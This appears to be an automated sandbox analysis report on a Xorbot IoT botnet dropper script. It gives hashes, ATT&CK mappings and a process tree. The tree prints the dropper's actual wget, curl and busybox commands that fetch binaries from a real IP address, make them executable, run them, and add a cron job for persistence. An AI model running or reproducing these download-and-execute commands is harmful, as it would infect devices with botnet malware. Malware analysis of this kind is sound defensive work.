xorbot | 47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25

Analysis

max time kernel
150s
max time network
102s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01-12-2024 18:21

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General

Target

bins.sh
Size

10KB
MD5

28b44d48978ad6ce4f2eed068e2680b4
SHA1

36f517d3e46e9e683a46490065c5f2169c47ca6b
SHA256

47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25
SHA512

dee2972f09ac8e1ff184ef0fccb7b4107d55f0324a6907f6af177226a95d48365b48950c06c946c9e6e76f9aa4b9bcbb9fcf185ed4f6844f6b7bfeb341c009a3
SSDEEP

96:h7r7r7p7m7iYx4RrBNFjJUDqRT21WFi6JU1hOY97r7r7p7m7iux4VO:1XXdMfx4RrBNFVYXXdMNWO

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
728	chmod
735	chmod
754	chmod
797	chmod

Executes dropped EXE 4 IoCs

Processes:

v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAryfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrimrP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

ioc	pid	Process
/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	729	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	736	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
/tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q	756	rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
/tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE	798	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

Renames itself 1 IoCs

Processes:

9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

pid	Process
799	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.GXypKw	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjEcrontabcurlcurl

description	ioc	Process
File opened for reading	/proc/71/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/144/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/164/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/384/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/790/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/812/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/17/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/22/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/11/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/72/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/114/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/781/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/829/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/830/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/4/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/8/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/831/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/835/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/77/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/388/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/37/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/82/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/496/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/805/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/839/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/18/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/21/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/698/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/1/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/377/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/74/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/80/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/809/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/814/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/821/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/828/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/10/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/24/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/823/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/825/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/813/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/23/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/327/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/694/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/837/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/16/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/811/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/827/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/66/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/69/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/9/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/147/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/331/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/484/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/532/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/693/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/3/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/777/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/819/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/15/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
File opened for reading	/proc/534/cmdline	9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxcurlbusyboxwgetcurlwgetcurlbusyboxwgetbusyboxcurl

description	ioc	Process
File opened for modification	/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	wget
File opened for modification	/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	busybox
File opened for modification	/tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q	curl
File opened for modification	/tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q	busybox
File opened for modification	/tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE	wget
File opened for modification	/tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE	curl
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	wget
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	curl
File opened for modification	/tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE	busybox
File opened for modification	/tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q	wget
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	busybox
File opened for modification	/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:704
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  ./v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  PID:731
- /usr/bin/wget
  wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  ./yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  2⤵
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod 777 rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  ./rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  2⤵
  PID:759
- /usr/bin/wget
  wget http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
  2⤵
  - Writes file to tmp directory
  PID:760
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
  ./9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:798
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:800
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:801
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:802
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:803
- /bin/rm
  rm 9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
  2⤵
  PID:805
- /usr/bin/wget
  wget http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
  2⤵
  PID:809

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.GXypKw

Filesize
210B

MD5
b8c33a73a36813502d74654936a44785

SHA1
a184c1fccc7a958b209bcedb42268d031ec18e6b

SHA256
cf939385284f4c4bcfd4f7ee0bec411223b10ebb11599fd1a01aedb97175b0e1

SHA512
2b504624663539361ada2d1bbaa7b5df31f1ee6e0919ef5a59661316f7043285c0d3b7d254077664f26d9bd6b84b8a27a330fc31d21a9935e9265b454fc5685a

Download Submit